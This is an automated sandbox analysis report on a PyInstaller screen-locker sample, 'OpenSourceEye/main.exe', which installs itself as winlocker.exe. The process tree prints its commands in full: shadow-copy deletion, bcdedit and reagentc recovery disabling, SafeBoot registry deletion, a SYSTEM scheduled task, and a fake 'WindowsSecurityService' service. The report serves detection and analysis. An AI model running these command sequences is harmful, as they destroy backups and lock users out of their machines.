Analysis

  • max time kernel
    298s
  • max time network
    187s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    03/06/2026, 22:39

General

  • Target
    OpenSourceEye/main.exe
  • Size 10.0MB
  • Sample260603-2lfd8af19k
  • SHA256 746aec43970370cdd845c9a9b62cb23559e4d01889854f7f05daa56a53430fd9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Disables Task Manager via registry modification
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 2 IoCs
  • Impair Defenses: Safe Mode Boot 1 TTPs 6 IoCs
  • Loads dropped DLL 34 IoCs
  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 5 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 1 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\OpenSourceEye\main.exe
    "C:\Users\Admin\AppData\Local\Temp\OpenSourceEye\main.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1572
    • C:\Users\Admin\AppData\Local\Temp\OpenSourceEye\main.exe
      "C:\Users\Admin\AppData\Local\Temp\OpenSourceEye\main.exe"
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:1312
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "wmic diskdrive get serialnumber"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4176
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic diskdrive get serialnumber
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4424
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c attrib +h +s "C:\Windows\System32\winlocker.exe"
        3⤵
        • Hide Artifacts: Hidden Files and Directories
        • Suspicious use of WriteProcessMemory
        PID:1296
        • C:\Windows\system32\attrib.exe
          attrib +h +s "C:\Windows\System32\winlocker.exe"
          4⤵
          • Drops file in System32 directory
          • Views/modifies file attributes
          PID:892
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "schtasks /create /f /tn "WindowsSecurityService" /tr "C:\Windows\System32\winlocker.exe" /sc onlogon /delay 0000:01 /ru SYSTEM /rl HIGHEST"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4604
        • C:\Windows\system32\schtasks.exe
          schtasks /create /f /tn "WindowsSecurityService" /tr "C:\Windows\System32\winlocker.exe" /sc onlogon /delay 0000:01 /ru SYSTEM /rl HIGHEST
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2424
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc stop "WindowsSecurityService""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3036
        • C:\Windows\system32\sc.exe
          sc stop "WindowsSecurityService"
          4⤵
          • Launches sc.exe
          PID:4980
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc delete "WindowsSecurityService""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:740
        • C:\Windows\system32\sc.exe
          sc delete "WindowsSecurityService"
          4⤵
          • Launches sc.exe
          PID:2660
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc create "WindowsSecurityService" binPath= "C:\Windows\System32\winlocker.exe" start= auto type= own"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1772
        • C:\Windows\system32\sc.exe
          sc create "WindowsSecurityService" binPath= "C:\Windows\System32\winlocker.exe" start= auto type= own
          4⤵
          • Launches sc.exe
          PID:4336
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "sc failure "WindowsSecurityService" reset= 0 actions= restart/1000/restart/1000/restart/1000"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3308
        • C:\Windows\system32\sc.exe
          sc failure "WindowsSecurityService" reset= 0 actions= restart/1000/restart/1000/restart/1000
          4⤵
          • Launches sc.exe
          PID:3444
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "taskkill /f /im explorer.exe"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2052
        • C:\Windows\system32\taskkill.exe
          taskkill /f /im explorer.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:1164
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal" /f"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1804
        • C:\Windows\system32\reg.exe
          reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal" /f
          4⤵
          • Impair Defenses: Safe Mode Boot
          PID:3212
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "vssadmin delete shadows /all /quiet"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5028
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          4⤵
          • Interacts with shadow copies
          PID:2312
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network" /f"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1924
        • C:\Windows\system32\reg.exe
          reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network" /f
          4⤵
            PID:2464
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "bcdedit /set {default} bootmenupolicy standard"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:660
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} bootmenupolicy standard
            4⤵
            • Modifies boot configuration data using bcdedit
            PID:3660
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "bcdedit /set {default} recoveryenabled No"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3204
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} recoveryenabled No
            4⤵
            • Modifies boot configuration data using bcdedit
            PID:1052
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic shadowcopy delete"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3468
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2756
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "reagentc /disable"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:892
          • C:\Windows\system32\ReAgentc.exe
            reagentc /disable
            4⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            PID:644
    • C:\Windows\System32\winlocker.exe
      C:\Windows\System32\winlocker.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4700
      • C:\Windows\System32\winlocker.exe
        C:\Windows\System32\winlocker.exe
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:3920
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2480

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          VCRUNTIME140.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\VCRUNTIME140.dll
          • Size 106KB
          • SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _bz2.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\_bz2.pyd
          • Size 82KB
          • SHA256 02d772c03704fe243c8de2672c210a5804d075c1f75e738d6130a173d08dfcde
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _ctypes.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\_ctypes.pyd
          • Size 121KB
          • SHA256 bc3b83d2dc9e2f0e6386ed952384c6cf48f6eed51129a50dfd5ef6cbbc0a8fb3
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _decimal.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\_decimal.pyd
          • Size 247KB
          • SHA256 a28c543976aa4b6d37da6f94a280d72124b429f458d0d57b7dbcf71b4bea8f73
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _hashlib.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\_hashlib.pyd
          • Size 63KB
          • SHA256 e47e76d70d508b62924fe480f30e615b12fdd7745c0aac68a2cddabd07b692ae
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _lzma.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\_lzma.pyd
          • Size 155KB
          • SHA256 34130d8abe27586ee315262d69af4e27429b7eab1f3131ea375c2bb62cf094be
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _socket.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\_socket.pyd
          • Size 81KB
          • SHA256 b38e66e6ee413e5955ef03d619cadd40fca8be035b43093d2342b6f3739e883e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          cp1252.enc

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\_tcl_data\encoding\cp1252.enc
          • Size 1KB
          • SHA256 741859cf238c3a63bbb20ec6ed51e46451372bb221cfff438297d261d0561c2e
          • MD5 SHA1 SHA512 TLSH

          _tkinter.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\_tkinter.pyd
          • Size 62KB
          • SHA256 06ea475cbb786bd1db1c1bbd62546446e571f717303fcf868148e15612a04a65
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _uuid.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\_uuid.pyd
          • Size 24KB
          • SHA256 bb418e91e543c998d11f9e65fd2a4899b09407ff386e059a88fe2a16aed2556b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          _wmi.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\_wmi.pyd
          • Size 35KB
          • SHA256 79adca5037d9145309d3bd19f7a26f7bb7da716ee86e01073c6f2a9681e33dad
          • MD5 SHA1 SHA512 SSDEEP TLSH

          base_library.zip

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\base_library.zip
          • Size 1.3MB
          • SHA256 a3875ff3467f3cdb9fc60b7d813f7b6cae58d7ebfc0be96a09050ae651ad1185
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libcrypto-3.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\libcrypto-3.dll
          • Size 4.9MB
          • SHA256 2a234b5aa20c3faecf725bbb54fb33f3d94543f78fa7045408e905593e49960a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          libffi-8.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\libffi-8.dll
          • Size 38KB
          • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          python312.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\python312.dll
          • Size 6.6MB
          • SHA256 e7890e38256f04ee0b55ac5276bbf3ac61392c3a3ce150bb5497b709803e17ce
          • MD5 SHA1 SHA512 SSDEEP TLSH

          select.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\select.pyd
          • Size 30KB
          • SHA256 bc71fbdfd1441d62dd86d33ff41b35dc3cc34875f625d885c58c8dc000064dab
          • MD5 SHA1 SHA512 SSDEEP TLSH

          tcl86t.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\tcl86t.dll
          • Size 1.7MB
          • SHA256 28b61545d3a53460f41c20dacf0e0df2ba687a5c85f9ed5c34dbfc7ed2f23e3e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          tk86t.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\tk86t.dll
          • Size 1.5MB
          • SHA256 23a195e1e3922215148e1e09a249b4fe017a73b3564af90b0f6fd4d9e5dda4da
          • MD5 SHA1 SHA512 SSDEEP TLSH

          unicodedata.pyd

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\unicodedata.pyd
          • Size 1.1MB
          • SHA256 2480a78815f619a631210e577e733c9bafecb7f608042e979423c5850ee390ff
          • MD5 SHA1 SHA512 SSDEEP TLSH

          zlib1.dll

          • Path C:\Users\Admin\AppData\Local\Temp\_MEI15722\zlib1.dll
          • Size 141KB
          • SHA256 c89c8a2fcf11d8191c7690027055431906aae827fc7f443f0908ad062e7e653e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          winlocker.exe

          • Path C:\Windows\System32\winlocker.exe
          • Size 10.0MB
          • SHA256 746aec43970370cdd845c9a9b62cb23559e4d01889854f7f05daa56a53430fd9
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1312-1954-0x00007FF9FE190000-0x00007FF9FE1BA000-memory.dmp

          memory/1312-1955-0x0000020843130000-0x0000020843621000-memory.dmp

          memory/3920-1949-0x00007FF9FD090000-0x00007FF9FD0BA000-memory.dmp